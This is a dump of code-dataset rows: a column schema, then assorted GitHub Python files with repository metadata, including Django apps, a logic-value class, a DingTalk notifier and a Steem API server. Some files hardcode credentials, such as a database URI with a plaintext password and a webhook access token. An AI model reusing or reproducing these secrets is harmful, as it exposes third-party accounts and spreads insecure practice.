repo_name
stringlengths
7
111
__id__
int64
16.6k
19,705B
blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
5
151
content_id
stringlengths
40
40
detected_licenses
list
license_type
stringclasses
2 values
repo_url
stringlengths
26
130
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
42
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
14.6k
687M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
12 values
gha_fork
bool
2 classes
gha_event_created_at
timestamp[ns]
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_size
int64
0
10.2M
gha_stargazers_count
int32
0
178k
gha_forks_count
int32
0
88.9k
gha_open_issues_count
int32
0
2.72k
gha_language
stringlengths
1
16
gha_archived
bool
1 class
gha_disabled
bool
1 class
content
stringlengths
10
2.95M
src_encoding
stringclasses
5 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
10
2.95M
extension
stringclasses
19 values
num_repo_files
int64
1
202k
filename
stringlengths
4
112
num_lang_files
int64
1
202k
alphanum_fraction
float64
0.26
0.89
alpha_fraction
float64
0.2
0.89
hex_fraction
float64
0
0.09
num_lines
int32
1
93.6k
avg_line_length
float64
4.57
103
max_line_length
int64
7
931
cuihaoleo/freeshell-lxc-panel
6,614,249,637,502
f6eff2fb88a5c949fa72750541cfd43af30f57a0
3357333ce6c70f8052f3b26b5132613b21ef55f1
/lxc_panel/models.py
d16ce8c6f6b8a109d8b922630781ac53ea2ca241
[]
no_license
https://github.com/cuihaoleo/freeshell-lxc-panel
6f00970e0e38c0d40d13328e9ce786c8ea953917
bb776e3f140e038e86060be8ad7862a9c11181da
refs/heads/master
2016-09-11T04:27:33.601511
2015-02-21T14:17:58
2015-02-21T14:17:58
31,127,534
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.db import models from django.contrib.auth.models import User import requests from urllib.parse import urljoin import json # Create your models here. class NodeConnectionError (Exception): pass class NodeAPIError (Exception): pass class ShellUnsupportedTaskError (Exception): pass class Shell...
UTF-8
Python
false
false
5,076
py
10
models.py
5
0.539992
0.533688
0
172
28.482558
83
pujanrajrai/ecommerece
326,417,552,518
56b89959fa8a70f795c0cf2b2a67e7cfbc5464f0
455580d19302f6147d9f6c1396a9f77f2eb3eb73
/dashboard/urls.py
23186a5895250516efcdbe9ba4639bc378a3fe65
[]
no_license
https://github.com/pujanrajrai/ecommerece
1b46dfbacee267c86ce2fceeb7aa8c32b27ae7ad
996a0289a2a2002db5fdecc6f982966605c778f0
refs/heads/main
2023-04-13T18:23:07.224226
2021-04-24T07:22:56
2021-04-24T07:22:56
328,195,874
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.urls import path from . import views app_name = 'dashboard' urlpatterns = [ path('',views.Home.as_view(),name='home'), path('delete/<int:id>',views.DeleteProduct.as_view(),name='delete'), path('showproduct/',views.ShowProduct.as_view(),name='show_product'), path('addproduct/',views.AddPhot...
UTF-8
Python
false
false
444
py
20
urls.py
10
0.684685
0.684685
0
13
33.153846
87
krcb197/py_std_logic_1164
17,970,143,178,785
82c1d2bf168641fb06f89e0dcb388b14b3effddf
3fbacdffaf7e3c431dbaea19e4e39c44cbd93986
/py_std_logic_1164/std_logic.py
f7032136be940769cd29b8db7635b5bf9b375e79
[ "MIT" ]
permissive
https://github.com/krcb197/py_std_logic_1164
2b9b1a567a2ad2d77004c998b97b019258788af2
66ae8b644db4d96b222132e92768d52ee1b98f7b
refs/heads/master
2020-03-19T05:22:23.615804
2018-06-17T15:48:59
2018-06-17T15:48:59
135,924,178
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
class std_logic(): """ class to represent a digital bit allowing for the same 9 values of a bit supported by IEEE 1164. ====== =============== Value Interpreatation ------ --------------- U Unitialized X Unknown 0 Strong 0 1 ...
UTF-8
Python
false
false
10,735
py
7
std_logic.py
5
0.361528
0.344015
0
267
39.179775
118
nikhild673/Acadpy
2,731,599,213,627
c97549881997344070698cf75ce959db7838078e
6e3b8b9b2e79f5970d7e1d7cb8d64b716b11988c
/CL14/q2.py
bd8bd37e095197cc4d6d75e54db2c3dd4b8ee36a
[]
no_license
https://github.com/nikhild673/Acadpy
791569c7e46bfecbbeb1585a5fe8b9d6330e53c8
d874b9dbb614b238b7f841dd0b823e7746016a8d
refs/heads/master
2020-03-20T17:01:45.131980
2018-08-26T14:57:39
2018-08-26T14:57:39
137,550,327
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# Retrieve all the words starting with ‘b’ or ‘B’ from the following text. # text = "Betty bought a bit of butter, But the butter was so bitter, " \ # "So she bought some better butter, To make the bitter butter better." import re text="""Betty bought a bit of butter, But the butter was so bitter, S...
UTF-8
Python
false
false
468
py
91
q2.py
82
0.684783
0.684783
0
9
49.111111
78
craigpauga/Data-Structure-and-Algorithms
12,111,807,818,613
d1e157f948380bb0b0d3ceb5b69258a369e1ddc1
59339fbfab6ef6f65236719e1e32345381a90a88
/1. Algorithm Toolbox/week2_algorithmic_warmup/4_least_common_multiple/least.py
d202aa13108d0e15464e1bb394a284092aafe490
[]
no_license
https://github.com/craigpauga/Data-Structure-and-Algorithms
24cce4540129821de0f0b390bb86520c7d9033ea
be236e02d0a617636bb2c5d3df1072db4ccfc8f7
refs/heads/master
2020-05-19T16:02:11.622400
2019-05-06T00:28:47
2019-05-06T00:28:47
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# Uses python3 import math import sys def gcd(a, b): current_gcd = 1 if b == 0: return a else: a_prime = a%b a = gcd(b,a_prime) return a def lcm(a, b): greatcd = gcd(a,b) top = a * b ans = int(top//greatcd) #ans = int(int((a*b)) // int(gcd(a,b))) retur...
UTF-8
Python
false
false
440
py
52
least.py
49
0.486364
0.479545
0
25
16.56
44
danielgitk/competitive-programming
9,552,007,306,895
e1aaf909f1ca82a9b20469681a343c372190005a
213aef7d9414df0fc195f18e18203410babb5d8b
/camp 01/week 03/rangeSumBST.py
dd7036bb92c7b86881967cf0dd5bea4f99fae2e9
[]
no_license
https://github.com/danielgitk/competitive-programming
c3cd8c0f89eed71c463b1d703d9c0a1f86afd45f
1c843258fda205973de63c04bd37ac989b61b08f
refs/heads/main
2023-08-23T05:22:06.610726
2021-10-15T12:57:34
2021-10-15T12:57:34
325,812,797
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Feb 3 17:30:07 2021 @author: daniel """ # Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right class Solution: ...
UTF-8
Python
false
false
733
py
66
rangeSumBST.py
66
0.564802
0.542974
0
23
30.521739
110
mnuhurr/audioslicer
8,624,294,358,571
a53a99a6caad296d5d8cc3066e71a75820ab2aaa
55019eb8c6226365818bbf51b3311235562950fc
/slice.py
8ae4b7c583ed36b9664dd8cdca71899fc7fc462b
[ "MIT" ]
permissive
https://github.com/mnuhurr/audioslicer
04dbc27ec50e821e6b4e82081a4d1f29df778379
0be45b826fa63162c282135f0d01c65e6c1092a0
refs/heads/main
2023-07-08T21:14:44.827908
2021-08-09T15:16:11
2021-08-09T15:16:11
303,638,014
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import os import glob from tqdm import tqdm from common import load_config, check_output_dirs from audioslicer import AudioSlicer def get_file_list(dir_path, ext='.wav'): ''' get list of files from a given directory :param dir_path: path to the dir :param ext: file extension. defaults to .wav :...
UTF-8
Python
false
false
1,243
py
6
slice.py
4
0.594529
0.594529
0
53
22.433962
62
yeswehack/ywh2bugtracker
6,219,112,676,448
cbf5e81b3f1a2773c1c99a5dd56dce1ca6e75761
27d01ea3adcca7d4de246f3f188526b54a61885b
/stubs/aiosnow/models/attachment/__init__.pyi
e2c5c1ccebf296ee9751a9bf5f607cd5065923b1
[]
no_license
https://github.com/yeswehack/ywh2bugtracker
f9f625b98ae299ff7f8dd0ddabc8cb51ae63e24e
3da2161c3c9e0652c2cfc78ab514359bcf2e436b
refs/heads/master
2023-06-25T20:12:23.899978
2023-04-26T12:46:27
2023-04-26T12:46:27
224,868,730
10
5
null
false
2023-06-07T11:12:16
2019-11-29T14:24:08
2023-05-23T19:42:46
2023-06-07T11:12:16
5,176
9
5
3
Python
false
false
from .model import AttachmentModel as AttachmentModel
UTF-8
Python
false
false
54
pyi
220
__init__.pyi
197
0.87037
0.87037
0
1
53
53
Phytonworks/web_scraping5_instagram
5,231,270,192,630
79d4d0b32c2aac4eb810bd09d807cae0846cc0a0
a1f897498cd61ce65771d43823e8a45b5f91215f
/json_scraping_like.py
86f1ea5be198738c6bdf1437cb8b35187d5b2315
[]
no_license
https://github.com/Phytonworks/web_scraping5_instagram
d1764bfe293ea931d6773cd95cb3e98cf0af4e90
229d93d68983ae615e0ae9cd59bf86943991bbd3
refs/heads/main
2023-03-12T22:29:16.391822
2021-03-01T16:20:19
2021-03-01T16:20:19
343,121,676
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import requests import json url = 'https://www.instagram.com/graphql/query' variable = {"shortcode": "CLygOc1MFqh", "include_reel": True, "first": 24} params = { 'query_hash': 'd5d763b1e2acf209d62d22d184488e57', 'variables': json.dumps(variable) } r = requests.get(url, params=params).json print(r)
UTF-8
Python
false
false
309
py
1
json_scraping_like.py
1
0.708738
0.631068
0
12
24.75
74
yienyien/dayoff
7,782,480,741,683
176e3e9413c0c275f70f5f20c6f9e57caf2ebb90
025ebe972d5e9f592eaa3d045c7dbbf20608fb53
/vacations/urls.py
72ec6e867c950874d4e2861e7509a7c98c58c900
[ "Apache-2.0" ]
permissive
https://github.com/yienyien/dayoff
adfee3985cbe7b9bbeb43183a013e5f09e0700ec
158795133084931a5fe34c047508ca225ce6fb12
refs/heads/main
2023-01-15T07:39:18.457718
2020-11-20T21:12:31
2020-11-20T21:12:31
313,904,554
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from rest_framework import routers from . import views router = routers.DefaultRouter(trailing_slash=False) router.register("vacations", views.VacationViewSet, basename="vacations") router.register("queries", views.ListUsers, basename="queries") router.register("compare", views.Compare, basename="compare")
UTF-8
Python
false
false
310
py
22
urls.py
15
0.796774
0.796774
0
8
37.75
73
wyaadarsh/LeetCode-Solutions
5,720,896,462,052
545acf3e1e50eeeb957c07e8e50e3906193a09e2
fcc88521f63a3c22c81a9242ae3b203f2ea888fd
/Python3/0856-Score-of-Parentheses/soln-1.py
fd89de5e45bca5edec6a4f5a139c8a8d3da9e268
[ "MIT" ]
permissive
https://github.com/wyaadarsh/LeetCode-Solutions
b5963e3427aa547d485d3a2cb24e6cedc72804fd
3719f5cb059eefd66b83eb8ae990652f4b7fd124
refs/heads/master
2022-12-06T15:50:37.930987
2020-08-30T15:49:27
2020-08-30T15:49:27
291,811,790
0
1
MIT
true
2020-08-31T19:57:35
2020-08-31T19:57:34
2020-08-30T15:49:37
2020-08-30T15:49:34
7,769
0
0
0
null
false
false
class Solution: def scoreOfParentheses(self, S): """ :type S: str :rtype: int """ cnt, layer = 0, 0 for a, b in zip(S, S[1:]): layer += (1 if a == '(' else -1) if a + b == '()': cnt += 2 ** (layer - 1) return cnt
UTF-8
Python
false
false
312
py
3,904
soln-1.py
3,904
0.36859
0.346154
0
12
25.083333
44
jayrbolton/arango_backdoor_test
1,030,792,158,621
83e2e8cb5a75d7b0ce25f9fb1908447579084c5b
3286f5dd39a6ebab9ecb8fa740e1f1a5aec83554
/src/main.py
d855417b5737afd75ef6850423589eeba7882105
[]
no_license
https://github.com/jayrbolton/arango_backdoor_test
f9aaccb9ccc9864c0c389797bab52f325b28b0e3
636dc2093233414777e3508462f3aaf0a7f12edb
refs/heads/master
2020-04-16T00:00:16.948842
2019-01-10T20:17:37
2019-01-10T20:17:37
165,120,510
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
""" This file contains all the methods for this KBase SDK module. """ import requests def echo(params): """Echo back the given message.""" resp = requests.get("http://10.58.1.211:8529") return resp.text
UTF-8
Python
false
false
217
py
4
main.py
1
0.668203
0.612903
0
10
20.7
61
notarandomusername/Classwork
16,973,710,760,231
ce19605b28ab608c285153651499ae93647bc069
961dab5241acd1b7b15decc17d149807ced65b6a
/day06.py
53ac462455f30337c9e2de7a0587425b153b7917
[]
no_license
https://github.com/notarandomusername/Classwork
97824b713ab492af211a207e82ee66e3c05cb2f1
5cf343c8a094cbac36656ddeed27b347eba3a958
refs/heads/master
2021-08-15T07:49:50.367260
2017-11-17T15:41:12
2017-11-17T15:41:12
111,114,770
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#basic strings a = "hi" b = "hello" print(a, b) print("greetings") #using f for strings import random a = random.randint(1,10) print(f"{a}") #brackets x = "Life" y = "fun!" print("{} is {}".format(x, y)) print("{1} is {0}".format(x, y)) f_string = "{} {}" print(f_string.format("hello", "friend")) math_string = ...
UTF-8
Python
false
false
523
py
14
day06.py
14
0.575526
0.560229
0
46
10.391304
41
LT17855/bw_2004
19,026,705,135,639
0b73b039ffeaca788ccc7d5611034d1034f4937f
f201bc51ff96d2d73fecac0831b48ef18916d70b
/dingding.py
af211e7af3d5dec4417fb10524f6bc6320ff3600
[]
no_license
https://github.com/LT17855/bw_2004
e9e804a952a53e4ceeeeabfd9ec4359496ac4c8a
f2df13fb6417452e6bf71bfaf31b59323702088a
refs/heads/master
2022-12-27T16:35:51.076741
2020-10-05T12:06:48
2020-10-05T12:06:48
292,777,547
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# !/usr/bin/env python # -*-coding:utf8-*- # Project_name:bw_2004 # File_name:dingding.py.py # Author: lt # Time:2020年09月04日 import json import requests class Ding(): def message(link=1): url = 'https://oapi.dingtalk.com/robot/send?access_token=6e2e35a5591b4bd70a1249ca938e0d99355ceb4a63929c61fc2711792fb284...
UTF-8
Python
false
false
925
py
3
dingding.py
2
0.513545
0.432273
0
31
26.387097
130
rajatthosar/leetcode
6,640,019,475,751
5ccdade929ee37324759b75ba8a010c477ccfe7e
5784163b89b872f19facdd0e111ac38abfb8dfc3
/371_sum_of_two_ints.py
87dcbef4673239c2ca48620d9a63f512efacfcbf
[]
no_license
https://github.com/rajatthosar/leetcode
ae8a1d4b0cd448549d62549bfdc1a492f9282622
a9f448a816c38d76e8f5582d01d05c16e3f8e513
refs/heads/main
2023-02-23T08:42:44.595898
2021-01-18T02:23:28
2021-01-18T02:23:28
330,525,895
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
class Solution: def getSum(self, a: int, b: int) -> int: if a < 0: a = (~a) + 1 if b < 0: b = (~b) + 1 return a | b if __name__ == '__main__': sol = Solution() print(sol.getSum(1, 2)) print(sol.getSum(-2, 3)) print(sol.getSum(-2, -3)) print(sol.g...
UTF-8
Python
false
false
335
py
114
371_sum_of_two_ints.py
114
0.429851
0.39403
0
15
21.266667
44
cfshanxidj/Iniciando
7,610,682,054,256
86316e3529d6d983abe0b0f835086029f9791902
3488d0a8fb7949b1214557204832a249bed59da4
/01_Hola-python.py
a89cd7949d253dd2a505859d71e19b0b76184f65
[]
no_license
https://github.com/cfshanxidj/Iniciando
eba7173be04d34e7c234a16b22a1966ca4b2abe5
2d47c8bb8add9a6df5121cc0982f1e1ecbb9e088
refs/heads/master
2020-06-29T02:00:23.245499
2019-08-03T17:47:37
2019-08-03T17:47:37
200,404,633
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
print("hola python desde netacad!")
UTF-8
Python
false
false
37
py
1
01_Hola-python.py
1
0.72973
0.72973
0
1
35
35
owenbrown/email-sender
15,779,709,879,933
96b600757c5389ceecc0f805d345dcd37d5862b5
11673ba938c724e20fffdce3687172e1f7aa5c57
/app.py
b29d4a177bf4d63bb5a4328c9483b4a69f4ffbcd
[]
no_license
https://github.com/owenbrown/email-sender
0fcda5c7d57b481f5b736ac11f8e620f42e4008f
c9931dd0893e8a71a7d9b67932849ef2b17d4567
refs/heads/master
2021-05-06T11:03:45.645985
2017-12-14T03:28:35
2017-12-14T03:28:35
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from chalice import Chalice from botocore.exceptions import ClientError from boto3.dynamodb.conditions import Key, Attr import boto3 import random import csv import time import os app = Chalice(app_name="emailsender") app.debug = True client = boto3.client("ses") reasons = "Reasons" dynamodb_resource = boto3.resour...
UTF-8
Python
false
false
3,428
py
2
app.py
1
0.523921
0.516919
0
119
27.806723
78
militomba/diseno_de_sistemas
13,580,686,604,367
7ff9ea26b948c26c2c1087f516bafedd76606b07
885836f9c3dd1a4c699a8b2dd74e064b41a22ce9
/Patron inyeccion de dependencias/main.py
c91302504e24a780d5f1a1a21283f50a8f872d8f
[]
no_license
https://github.com/militomba/diseno_de_sistemas
65b8a37177341662eb3f00013b07ad2d8fc4b593
04a4cfb6d5a6955d8da7312a5fc07c114875db17
refs/heads/main
2023-08-23T12:51:08.102956
2021-11-03T19:48:02
2021-11-03T19:48:02
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from computadora import * from mouse import * from monitor import * from teclado import * def main(): teclado1 = Teclado_genius("Genius", "Inalambrico") mouse1 = Mouse_redDragon("Red Dragon", "Alambrico") monitor1 = Monitor_asus("180", "Asus") computadora = Computadora(monitor1, teclado1, mouse1) ...
UTF-8
Python
false
false
384
py
45
main.py
45
0.674479
0.651042
0
16
23.0625
57
newsdev/nyt-docket
10,625,749,109,614
67a85cc8ee224f0ab198070e95f436cb4ae89736
92cba6f8bc0b95133207625f2658b39ea3bcc88d
/docket/cli.py
7bce9aaee122160c11b8b85f7efc4f976218b1ba
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
https://github.com/newsdev/nyt-docket
7a584c31f94b39a28be5a4c964bba0a1574dd8fd
5f57f510328993492f0c47879609073c006d178e
refs/heads/master
2021-01-19T04:06:01.443165
2017-09-28T19:11:59
2017-09-28T19:11:59
43,657,101
14
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import bson from functools import wraps import pkg_resources from docket import grants from docket import orders from docket import slipopinions from clint.textui import puts, colored from cement.core.foundation import CementApp from cement.ext.ext_logging import LoggingLogHandler from cement.core.controller import C...
UTF-8
Python
false
false
3,135
py
11
cli.py
6
0.534928
0.530144
0
115
26.269565
78
cipherSh/ISSPENM_new
1,838,246,008,258
357683cd9d7e9d340a86183457bf128857c62239
5dd65e38a13b0695ec37f51f28d8f3c5b78f7c04
/ISRTE/users/views.py
3f7ede47cec7cfc6b5349f623ea6a9c2e04986ea
[]
no_license
https://github.com/cipherSh/ISSPENM_new
83be2db056334fa67cbf7f8811f35670fb0f23f7
157c78f1daa0067f3ed05e9b1d5a6a5432cd58cd
refs/heads/master
2020-05-25T22:52:48.237123
2019-06-23T14:18:04
2019-06-23T14:18:04
188,023,384
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import json from django.shortcuts import render, redirect, Http404, HttpResponse, reverse from django.http import HttpResponseNotFound from django.contrib.auth import login, logout, authenticate from django.contrib.auth.decorators import login_required from django.contrib.auth.models import Group, User from datetime im...
UTF-8
Python
false
false
24,562
py
90
views.py
37
0.643152
0.638884
0
548
37.905109
117
kakabara/p2p_shop_server
223,338,302,586
d68e23423dba29adbe011ca663cbbebd6f57f902
31525c85e27bd41f8e9a577fe9ef1e25488edd0a
/server/config.py
26b58af79475b48276ae5f03991969b540cac649
[]
no_license
https://github.com/kakabara/p2p_shop_server
25587d887cf0234663c9d1746eb7df7463f2898a
dda254a154ec17d80b67626917988c67a26d7b8f
refs/heads/master
2020-03-15T15:50:22.091567
2018-05-29T01:32:39
2018-05-29T01:32:39
132,221,625
1
1
null
null
null
null
null
null
null
null
null
null
null
null
null
import os basedir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SQLALCHEMY_DATABASE_URI = "postgres://shopagent:MAaMr6M3OG@127.0.0.1/p2p_shop" SQLALCHEMY_TRACK_MODIFICATIONS = True
UTF-8
Python
false
false
212
py
8
config.py
7
0.731132
0.688679
0
7
29.285714
82
ConnectionMaster/pytorchpipe
11,596,411,743,412
369e14fcd22d3067d9b691234174aa6892414343
9cb7670c64c13f09abee315f85f1f6b67b8eb1ad
/ptp/components/viewers/stream_viewer.py
e44fb4cc8d7f5b754e51def281d6ed85591b2308
[ "Apache-2.0" ]
permissive
https://github.com/ConnectionMaster/pytorchpipe
057325a5d4e8e6ce2198a953a705721388531add
9cb17271666061cb19fe24197ecd5e4c8d32c5da
refs/heads/develop
2023-04-07T17:46:26.451692
2019-11-05T23:36:13
2019-11-05T23:36:13
183,084,219
1
0
Apache-2.0
true
2023-04-03T23:18:43
2019-04-23T19:38:29
2021-01-23T07:09:57
2023-03-24T03:37:29
6,128
1
0
1
Python
false
false
# -*- coding: utf-8 -*- # # Copyright (C) tkornuta, IBM Corporation 2019 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless require...
UTF-8
Python
false
false
3,970
py
188
stream_viewer.py
101
0.627204
0.623174
0
108
35.759259
124
richiurb/physics
11,725,260,730,139
2477d0c81324d29cf27d768ac7a068aacbe6855e
01ec486f2456a4a33031e7ef7db8c2b68d53b701
/heat_distribution_in_the_rod/main.py
a8d177f9b93b94213adbdb4ab015dcef48fb8939
[ "MIT" ]
permissive
https://github.com/richiurb/physics
a90c95ce388ef588b8ba42c07170ea0fc24ec39a
46e8a44790a7c6c29af11f29a846057026348cd2
refs/heads/master
2023-05-13T02:32:32.223265
2021-06-08T15:23:06
2021-06-08T15:23:06
273,761,990
0
0
MIT
false
2020-06-21T10:29:12
2020-06-20T18:20:44
2020-06-20T20:20:29
2020-06-21T10:29:11
1
0
0
0
null
false
false
from graphic import Graphic import start if __name__ == '__main__': a = float(input("Введите тепловой коэффициент: ")) start_u = start.get() print(start_u) Graphic(a, start_u).get()
UTF-8
Python
false
false
225
py
6
main.py
5
0.623116
0.623116
0
8
23.875
54
Sudoblark/Butterchase
10,153,302,690,650
b7548ea199c5f7ef37881ea187552e96056f688f
79c6db017b6e3feae0fda4c150851061fff92e9b
/Butterchase/TreasureClasses/Basic/Player/Items.py
dab0a9a9ea6254466e78de0cfd5f88cce16cf6be
[]
no_license
https://github.com/Sudoblark/Butterchase
f4d81675a0b9a1166f5d3c479cb0e34036237218
ff7f96f57374981c0fb96fc0b067464d8ea4ee15
refs/heads/master
2020-08-31T00:26:51.067365
2019-12-09T11:11:46
2019-12-09T11:11:46
218,533,704
0
0
null
false
2019-12-03T18:01:40
2019-10-30T13:27:37
2019-11-21T16:46:58
2019-12-03T18:01:40
132
0
0
2
Python
false
false
# Will import complete weapons and armour here from TreasureClasses.Basic.Player.Armour import ( Doublet, LeatherArmour, LoinCloth, Scutum, StuddedLeatherArmour ) from TreasureClasses.Basic.Player.Weapons import ( BareHands, IdioticSword, Seax, Spear, WoodenClub ) # Item arrays that get reference Wea...
UTF-8
Python
false
false
457
py
74
Items.py
73
0.763676
0.763676
0
14
31.571429
63
allena29/python-yang-voodoo
11,759,620,460,127
e8cb6e672c918b6ddb98b9e201fd47ae895ae818
380e97726c06871594f3145504c8d76e92002bae
/yangvoodoo/DiffEngine.py
c6ceff36c973a3e22feb8597d5c055c8f7ebebfc
[ "BSD-3-Clause", "Apache-2.0", "MIT" ]
permissive
https://github.com/allena29/python-yang-voodoo
36e1bb19a13ad005bf1c67c6ab8ab1815c8443fe
c4ad7b061dd43f1035f5dc7589d2614e9a28506d
refs/heads/master
2023-08-28T13:41:05.877911
2023-08-21T20:55:13
2023-08-21T20:55:13
180,037,820
5
1
Apache-2.0
false
2023-08-21T20:55:14
2019-04-07T23:48:16
2023-01-15T13:31:06
2023-08-21T20:55:13
5,855
5
1
1
Python
false
false
#!/usr/bin/env python3 # from dictdiffer import diff, patch, swap, revert from dictdiffer import diff import yangvoodoo class DiffIterator: """ This call return a diffset for a particular part of a dataset. The return value is an ordered set of (path, old-value, new-value, operation) Exampl...
UTF-8
Python
false
false
6,205
py
133
DiffEngine.py
67
0.565189
0.564222
0
156
38.775641
121
opsxcq/pastes
16,226,386,479,258
9e12d20ebe409ca45cd556bc4a96563e9f359a88
f5f8871fb63e52036ffc822a79f10a091a8dc04d
/codepad.org/2015/08/08/utLYK0pB
77765b72bec1b9be9b1981c944d98ddd55298f48
[]
no_license
https://github.com/opsxcq/pastes
d8c0d20db2ee7035d923f7172e6d9a00f2f70731
6ff8513ca56e78f705cf35a07f46a212ca0eb580
refs/heads/master
2016-04-21T08:43:32.701647
2016-04-21T05:45:46
2016-04-21T05:45:46
55,317,443
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python print '''''j'''''
UTF-8
Python
false
false
36
8,503
utLYK0pB
5,561
0.5
0.5
0
2
17
17
dpark6060/FilterShift
13,615,046,355,835
b76c0f8be3cdd75bd879acbb73423a35144457f6
eb5a9183efbf1337391cb1f4cfe98821a904739a
/CheckResults.py
cea675244b53b2f1cf3fb60fb83e7dc4b801f4fc
[]
no_license
https://github.com/dpark6060/FilterShift
96d0ec77d5503510e2c3c22b2d3e97b070395d33
6171a3038aba4ce345c70fc0c50f5841fda9cd71
refs/heads/master
2016-09-06T05:07:38.753404
2014-08-20T19:27:00
2014-08-20T19:27:00
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import numpy as np import ZeroNorm def Error(Corrected,Tru): Corrected=ZeroNorm.Normalize(ZeroNorm.Zero(Corrected)) Tru=ZeroNorm.Normalize(ZeroNorm.Zero(Tru)) MSE=np.sum(np.square(np.subtract(Corrected,Tru)))/(np.nonzero(np.sum(Tru,axis=3))[1].shape[-1]*Tru.shape[-1]) M...
UTF-8
Python
false
false
408
py
20
CheckResults.py
20
0.683824
0.67402
0
14
27.714286
113
lilitotaryan/eventnet-back-end
16,372,415,338,257
f54bb9e1f8ad44e29224070b4a436c402d6eb3dc
7a0334693cd31fe4fdef06324ede0d72c6530c40
/buy_ticket/filters.py
11e4c181b6b3f60f055f5b692c9bd0c1973b743b
[]
no_license
https://github.com/lilitotaryan/eventnet-back-end
7949668a4108b36a6e1a2f6439d6e966991d64ba
5828b1520b8feeb363fdac0b85b08e001572991e
refs/heads/main
2023-02-18T02:24:45.475978
2021-01-22T18:15:42
2021-01-22T18:15:42
332,027,025
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import django_filters from authentication.utils import string_to_bool, get_current_time from .models import Event, Ticket from user_crud.models import Category import re from rest_framework import filters from django.db.models import Q class TicketFilter(django_filters.FilterSet): is_used = django_filters.CharFil...
UTF-8
Python
false
false
1,504
py
99
filters.py
95
0.611702
0.610372
0
43
34
107
Unhackables/sbds
18,459,769,444,169
dccea05930873a1b4f58483cdb8aba9c2d89a751
0f2d2d6fdb4fd5e7e20bd78864a1cf83bfa8eaeb
/sbds/http_server.py
44867e313d590e2252e8553060333c171dccef54
[ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ]
permissive
https://github.com/Unhackables/sbds
2cc407523c3eb197a976a1fc755075fe70c7dcbc
53bf13a746cb3df5e917b49cf0b75241a25de86a
refs/heads/master
2021-01-21T05:29:30.893706
2017-02-21T18:08:26
2017-02-21T18:08:26
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- import os from datetime import datetime import logging import click import bottle from bottle.ext import sqlalchemy from bottle import request import maya import sbds.logging from sbds.http_client import SimpleSteemAPIClient from sbds.storages.db import Base, Session from sbds.storages.db.ta...
UTF-8
Python
false
false
6,234
py
13
http_server.py
12
0.650465
0.641161
0
230
26.104348
121
paolafer/petaloCherenkov
13,434,657,708,926
38d30e40d779df43f4350be571fadc5a92a060f5
27036da89d3b778fcac0187b30f324780821abdd
/cnt/Scintillator.py
b504d2e55286bf281845fe70fe23d3725e07b14d
[]
no_license
https://github.com/paolafer/petaloCherenkov
d9b05e90e584940a6c1373dac4053986aef6ed11
bf61299f8e144f89abd3161ecc17c4cd09c1d2b3
refs/heads/master
2021-01-22T12:26:31.240185
2017-06-22T09:56:10
2017-06-22T09:56:10
92,726,318
0
0
null
true
2017-05-29T09:41:52
2017-05-29T09:41:52
2017-05-29T09:09:39
2017-05-29T09:20:12
0
0
0
0
null
null
null
""" Scintillator Abstract class for scintillators """ from abc import ABCMeta, abstractmethod from Centella.physical_constants import * import sys from Util import * from Xenon import * nm = nanometer mol = mole micron = micrometer LXeRefractionIndex =[ [6.4, 1.58587, 0.0964027], [6.6, 1.61513, 0.508607], [6.8, 1.6...
UTF-8
Python
false
false
17,439
py
29
Scintillator.py
24
0.568553
0.52612
0
779
21.368421
89
fffk3045167/desktop2
15,049,565,413,806
0a4df0d067e6f8af216bd0f3bcf265bc85d146ec
3360762f3c870acd245ab2a37954ef75b05247a8
/Core_python/TK/tkLabelandButton.py
4ba10f5cc9d3f9a7bcb71de1f79c5af990a3fc03
[]
no_license
https://github.com/fffk3045167/desktop2
66d335e42100a5942e3beb43bf68b7006b14dcca
5c7b5e67659cae56b5a0093c0c9819fc622a67dc
refs/heads/master
2023-01-19T03:22:15.422108
2020-11-17T13:01:27
2020-11-17T13:01:27
269,377,880
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from tkinter import * # 顶层窗口(根窗口) top = Tk() hello = Label(top, text='Hello World!') hello.pack() Q = Button(top, text='QUIT', command=quit, bg='red', fg='white') Q.pack(fill=X, expand=1) # 运行 top.mainloop()
UTF-8
Python
false
false
244
py
79
tkLabelandButton.py
61
0.60177
0.597345
0
14
15.142857
42
Cyril-Grl/MuGen
